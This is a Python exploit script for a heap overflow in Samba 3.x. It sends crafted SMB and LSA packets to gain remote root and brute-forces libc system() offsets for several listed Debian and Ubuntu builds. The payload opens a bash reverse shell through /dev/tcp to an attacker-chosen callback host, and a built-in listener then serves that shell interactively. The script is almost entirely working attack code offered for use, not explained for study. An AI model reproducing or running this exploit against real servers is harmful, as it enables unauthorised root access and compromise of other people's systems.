Samba 3.x 0-day remote root exploit

                                                #!/usr/bin/python
#
# finding targets 4 31337z:
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
#    -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
# found by eax samba 0day godz (loljk)


from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct      

targets = [
  {
    "name"               : "samba_3.6.3-debian6",
    "chunk_offset"       : 0x9148,
    "system_libc_offset" : 0xb6d003c0
  },
  {
    "name"               : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
    "chunk_offset"       : 4560, 
    "system_libc_offset" : 0xb20
  },
  {
    "name"               : "target_finder (hardcode correct system addr)", 
    "chunk_offset"       : 0, 
    "system_libc_offset" : 0xb6d1a3c0, 
    "finder": True
  }
]

do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])

def dump(src, length=32):
  result=[]
  for i in xrange(0, len(src), length):
    s = src[i:i+length]
    hexa = ' '.join(["%02x"%ord(x) for x in s])
    printable = s.translate(FILTER)
    result.append("%04x   %-*s   %s\n" % (i, length*3, hexa, printable))
  return ''.join(result)


sploitshake = [
  # HELLO
  "8100004420434b4644454e4543464445" + \
  "46464346474546464343414341434143" + \
  "41434143410020454745424644464545" + \
  "43455046494341434143414341434143" + \
  "4143414341414100",

  # NTLM_NEGOT
  "0000002fff534d427200000000000000" + \
  "00000000000000000000000000001d14" + \
  "00000000000c00024e54204c4d20302e" + \
  "313200",

  # SESSION_SETUP
  "0000004bff534d427300000000080000" + \
  "000000000000000000000000ffff1d14" + \
  "000000000dff000000ffff02001d1499" + \
  "1f00000000000000000000010000000e" + \
  "000000706f736978007079736d6200",

  # TREE_CONNECT
  "00000044ff534d427500000000080000" + \
  "000000000000000000000000ffff1d14" + \
  "6400000004ff00000000000100190000" + \
  "5c5c2a534d425345525645525c495043" + \
  "24003f3f3f3f3f00",

  # NT_CREATE
  "00000059ff534d42a200000000180100" + \
  "00000000000000000000000001001d14" + \
  "6400000018ff00000000050016000000" + \
  "000000009f0102000000000000000000" + \
  "00000000030000000100000040000000" + \
  "020000000306005c73616d7200"
]

pwnsauce = {
  'smb_bind': \
    "00000092ff534d422500000000000100" + \
    "00000000000000000000000001001d14" + \
    "6400000010000048000004e0ff000000" + \
    "0000000000000000004a0048004a0002" + \
    "002600babe4f005c504950455c000500" + \
    "0b03100000004800000001000000b810" + \
    "b8100000000001000000000001007857" + \
    "34123412cdabef000123456789ab0000" + \
    "0000045d888aeb1cc9119fe808002b10" + \
    "486002000000",

  'data_chunk': \
    "000010efff534d422f00000000180000" + \
    "00000000000000000000000001001d14" + \
    "640000000eff000000babe00000000ff" + \
    "0000000800b0100000b0103f00000000" + \
    "00b0100500000110000000b010000001" + \
    "0000009810000000000800",

  'final_chunk': \
    "000009a3ff534d422f00000000180000" + \
    "00000000000000000000000001001d14" + \
    "640000000eff000000babe00000000ff" + \
    "00000008006409000064093f00000000" + \
    "00640905000002100000006409000001" + \
    "0000004c09000000000800"
}


def exploit(host, port, cbhost, cbport, target):
  global sploitshake, pwnsauce

  chunk_size = 4248

  target_tcp = (host, port)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(target_tcp)

  n = 0
  for pkt in sploitshake:
    s.send(unhexlify(pkt))
    pkt_res = s.recv(rs)
    n = n+1

  fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])

  s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
  pkt_res = s.recv(rs)

  buf = "X"*20  # policy handle
  level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
  buf+=struct.pack('<H',level) # level
  buf+=struct.pack('<H',level)# level2
  buf+=struct.pack('<L',1)#auditing_mode
  buf+=struct.pack('<L',1)#ptr
  buf+=struct.pack('<L',100000) # r->count
  buf+=struct.pack('<L',20) # array_size
  buf+=struct.pack('<L',0)
  buf+=struct.pack('<L',100)

  buf += ("A" * target['chunk_offset'])

  buf+=struct.pack("I", 0);
  buf+=struct.pack("I", target['system_libc_offset']);
  buf+=struct.pack("I", 0);
  buf+=struct.pack("I", target['system_libc_offset']);
  buf+=struct.pack("I", 0xe8150c70);
  buf+="AAAABBBB"

  cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"

  tmp = cmd*(816/len(cmd))
  tmp += "\x00"*(816-len(tmp))

  buf+=tmp
  buf+="A"*(37192-target['chunk_offset'])
  buf+='z'*(100000 - (28000 + 10000))

  buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
  n=0

  for chunk in buf_chunks:
    if len(chunk) != chunk_size:
      #print "LAST CHUNK #%d" % n
      bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
      s.send(bb)
    else:
      #print "CHUNK #%d" % n
      bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
      s.send(bb)
      retbuf = s.recv(rs)
    n=n+1

  s.close()

class connectback_shell(SocketServer.BaseRequestHandler):
  def handle(self):
    global do_brute

    print "\n[!] connectback shell from %s" % self.client_address[0]
    do_brute = False

    s = self.request

    import termios, tty, select, os
    old_settings = termios.tcgetattr(0)
    try:
      tty.setcbreak(0)
      c = True
      while c:
        for i in select.select([0, s.fileno()], [], [], 0)[0]:
          c = os.read(i, 1024)
          if c:
            if i == 0:
              os.write(1, c)

            os.write(s.fileno() if i == 0 else 1, c)
    except KeyboardInterrupt: pass
    finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

    return
    

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
  pass


if len(sys.argv) != 6:
  print "\n  {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
  print "  usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
  print "  targets:"
  i = 0
  for target in targets:
    print "    %02d) %s" % (i, target['name'])
    i = i+1

  print ""
  sys.exit(-1)


target = targets[int(sys.argv[5])]

server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

while do_brute == True:
  sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
  sys.stdout.flush()
  exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)

  if "finder" in target:
    target['chunk_offset'] += 4
  else:
    target['system_libc_offset'] += 0x1000


if "finder" in target:
  print \
    "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
    "system_libc_offset = 0x%03x" % \
    (target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)

while 1:
  time.sleep(999)

server.shutdown()